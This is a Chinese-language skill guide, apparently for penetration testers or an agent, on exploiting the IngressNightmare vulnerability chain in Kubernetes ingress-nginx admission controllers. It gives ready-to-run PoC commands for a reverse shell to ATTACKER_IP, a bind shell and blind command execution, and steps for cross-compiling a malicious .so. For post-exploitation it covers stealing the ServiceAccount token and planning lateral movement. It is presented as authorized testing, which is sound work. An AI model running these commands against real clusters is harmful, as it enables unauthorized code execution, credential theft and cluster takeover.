用途
IngressNightmare 是一组针对 Kubernetes Ingress-NGINX Admission Controller 的漏洞链(CVE-2025-24514 / CVE-2025-1097 / CVE-2025-1098 / CVE-2025-1974),CVSSv3 评分 9.8。其核心特点是无需任何 K8s 凭据,即可从 Pod 网络远程执行任意代码。该技能文档用于指导安全测试人员确认目标环境是否受影响并执行验证性利用。
漏洞原理
攻击者通过两步实现 RCE:
- 向 NGINX 发送大请求,使其缓存为临时文件(/tmp/ 下可预测路径)。
- 向 Admission Webhook 发送恶意 AdmissionReview,注入 ssl_engine 指令加载恶意 .so。
Webhook 运行 nginx -t 检查配置时触发代码执行。
主要能力与使用方式
Phase 1:前置条件确认
确认目标使用 ingress-nginx:
- 从集群外部:使用 nmap 探测 443、8443、80 端口,或 curl 查看 Server 头是否包含 nginx。
- 从 Pod 内部:使用 kubectl 查询 ingress-nginx 命名空间下的 Pod 与 Service,或通过环境变量过滤 ingress 相关信息。
定位 Admission Webhook:Admission Webhook 默认监听 8443 端口,可从 Pod 网络内部探测,例如通过 Service ClusterIP 或 Pod IP 访问 /networking/v1/ingresses 路径。
定位 NGINX Uploader(请求缓存端点):NGINX 监听在 80/443,需要能向其发送大请求,uploader 即 ingress-nginx 的 HTTP 入口,可使用 Service ClusterIP 或 Pod IP 构造地址。
Phase 2:利用
使用 ingressNightmare PoC 支持三种模式:
- 反弹 shell:
ingressnightmare -m r -r ATTACKER_IP -p 4444 -i https://INGRESS:8443 -u http://UPLOADER:80 - 绑定 shell:
ingressnightmare -m b -b 9999 -i https://INGRESS:8443 -u http://UPLOADER:80 - 盲执行命令:
ingressnightmare -m c -c 'id > /tmp/pwn' -i https://INGRESS:8443 -u http://UPLOADER:80
注入变体选择:
| 注入方式 | 参数 | CVE |
|---|---|---|
| auth-url(默认) | --is-auth-url | CVE-2025-24514 |
| auth-tls-match-cn | --is-match-cn --auth-secret-name NAME | CVE-2025-1097 |
| mirror UID | --is-mirror-uid | CVE-2025-1098 |
目标架构不匹配处理:若出现 "Exec format error",目标可能是 arm64,可用 ingressnightmare show-c > exp.c 导出源码,再用目标架构交叉编译器编译:
aarch64-linux-gnu-gcc -fPIC -nostdlib -ffreestanding -fno-builtin -o danger.so exp.c -shared
随后通过 --so ./danger.so 指定自定义 .so 重新执行。
Phase 3:后续利用
RCE 落地在 ingress-nginx Pod 内,通常拥有高权限 ServiceAccount:
- 获取 SA Token:读取 /var/run/secrets/kubernetes.io/serviceaccount/token。
- 检查 RBAC 权限:
kubectl auth can-i --list(ingress-nginx 通常有 cluster-wide 权限)。 - 横向移动:参考 k8s-container-escape skill。
工具速查
| 工具 | 用途 | 安装 / 路径 |
|---|---|---|
| ingressnightmare | CVE-2025-1974 一体化 PoC(Go 编译,多平台) | 从项目 Release 自行下载;若团队内已分发 f8x CLI,可 f8x -cloud 安装到 PATH(内部工具,本仓库不含其源码与安装方式) |
| kubectl | K8s 集群管理 | 同上,或按官方文档安装 kubectl |
| nmap | 端口探测 | apt install nmap |
适用场景
适用于对使用 ingress-nginx 的 Kubernetes 集群进行授权安全测试,尤其是需要验证 CVE-2025-1974 漏洞链可利用性的场景。
限制
- 需要能够从 Pod 网络访问目标 Admission Webhook(8443)与 NGINX 入口(80/443)。
- 目标架构不匹配时需自行交叉编译 .so。
- 文档未提供 ingressnightmare 的官方下载地址与具体版本信息。
- 深入参考(漏洞原理与利用细节)见 references/exploit-details.md,该文件内容暂未提供。